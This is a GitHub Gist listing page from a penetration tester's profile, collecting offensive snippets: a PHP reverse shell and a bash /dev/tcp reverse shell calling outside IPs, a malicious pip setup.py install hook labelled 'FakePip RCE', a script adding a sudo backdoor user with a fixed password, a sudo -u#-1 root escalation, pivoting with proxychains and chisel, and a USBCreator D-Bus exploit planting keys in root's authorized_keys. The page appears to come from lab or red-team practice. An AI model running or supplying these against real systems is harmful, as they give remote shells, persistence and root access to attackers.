Skip to content

Instantly share code, notes, and snippets.

View noobpk's full-sized avatar
🤒
Out sick

lethanhphuc noobpk

🤒
Out sick
View GitHub Profile
@noobpk
noobpk / encovi_poc.py
Last active August 31, 2020 03:19
encovi_broken_object_level_authorization
# -*- coding: utf-8 -*-
import requests
import pyDes
import binascii
import json
import sys
def encrypt3DES_sendRequest():
try:
f = "/Users/lethanhphuc/Pentests/Redteam/PoC/NCOVI/List_Phone_User.txt"
@noobpk
noobpk / setup.py
Created August 31, 2020 16:19
FakePip RCE
#usage: sudo /usr/bin/pip install . --upgrade --force-reinstall
from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
def run(self):
install.run(self)
@noobpk
noobpk / reverse-shell.php
Last active April 22, 2024 16:44
Php Reverse Shell
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.12'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
@noobpk
noobpk / spawn.sh
Created August 31, 2020 16:45
Spawn shell
python -c 'import pty; pty.spawn("/bin/bash")'
@noobpk
noobpk / create-user.sh
Created August 31, 2020 16:48
Linux Create User
#!/bin/bash
sudo useradd -p \$(openssl passwd -1 1_2_3Qwe) noobpk
usermod -aG sudo noobpk
echo [*]Done
@noobpk
noobpk / fork.sh
Last active September 3, 2020 06:30
fork /bin/bash instead of sh
sudo -u#-1 /bin/bash
@noobpk
noobpk / ssh-with-proxychains.txt
Created September 3, 2020 07:21
Ssh Port forwarding & Proxychains
#proxychains config: /etc/proxychains.conf
ssh -D <port-proxychains> root@<ip-target>
proxychains <application> <application-option>
@noobpk
noobpk / chisel-port-tunneling.txt
Last active September 14, 2020 09:17
Port Tunneling
#https://github.com/jpillora/chisel
chisel client <ip-server>:<port-server> R:4506:127.0.0.1:4506 R:1234:127.0.0.1:1234
chisel server -p <port> --reverse
@noobpk
noobpk / re-shell.sh
Created September 6, 2020 14:53
Linux Reverse Shell
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.4/4444 0>&1
@noobpk
noobpk / note.txt
Created September 7, 2020 10:27
USBCreator D-Bus Privilege Escalation for ssh
#document: https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
#detect
remote-machine> ps auwx | grep usb
remote-machine> echo "attack-machine id_rsa.pub key" > ~/authorized_keys
remote-machine> gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/remote/authorized_keys /root/.ssh/authorized_keys true
attack-machine> ssh -i id_rsa root@10.10.10.10